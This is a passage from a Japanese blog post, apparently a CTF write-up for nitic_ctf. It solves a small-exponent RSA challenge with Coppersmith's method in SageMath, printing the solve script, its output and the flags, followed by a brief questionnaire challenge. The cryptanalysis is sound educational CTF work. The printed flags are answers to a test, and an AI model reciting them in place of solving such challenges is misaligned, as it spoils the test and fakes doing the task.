print(f"N = {N}")
print(f"e = {e}")
print(f"c = {c}")

b"the magic ..."の部分を$m_1$、flagを$m_2$とすると、

c \equiv \left(m_1\times 2^{18\times 8}+m_2\right)^7 \mod n

となる。$c$と$m_1$は定数なので、$m_2$が変数の方程式となる。この方程式の最高次数は7で、$|m_2|<n^{\frac{1}{7}}$を満たす。これは解ける。Coppersmith method。SageMathに実装がある。

……と思ったけど解けないな。epsilonを小さくすると計算が終わらない。条件ギリギリなのが悪いのか。flagの先頭がnitic_ctf{ということは分かっているので、これも$m_1$に含めれば良いだろう。

solve.sage
N = 139144195401291376287432009135228874425906733339426085480096768612837545660658559348449396096584313866982260011758274989304926271873352624836198271884781766711699496632003696533876991489994309382490275105164083576984076280280260628564972594554145121126951093422224357162795787221356643193605502890359266274703
e = 7
c = 137521057527189103425088525975824332594464447341686435497842858970204288096642253643188900933280120164271302965028579612429478072395471160529450860859037613781224232824152167212723936798704535757693154000462881802337540760439603751547377768669766050202387684717051899243124941875016108930932782472616565122310

m1 = int.from_bytes(b"the magic words are squeamish ossifrage. nitic_ctf{", "big")
PR.<m2> = PolynomialRing(Zmod(N))
f = (m1*2^(8*8)+m2)^e-c
m2 = f.small_roots(epsilon=0.05)[0]
print(int(m2).to_bytes(8, "big").decode())
>docker run --rm -v %CD%:/tmp sagemath/sagemath sage /tmp/solve.sage
k01k01!}

nitic_ctf{k01k01!}

Welcome

アンケート (1, 125 solves)

「Welcomeでアンケート……?」と思ったら、「どの問題が面白かった?」のような設問ではなく、「このコンテストに参加した理由は?」とかだった。

nitic_ctf{Thank_you_for_answering_the_questionnaire}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?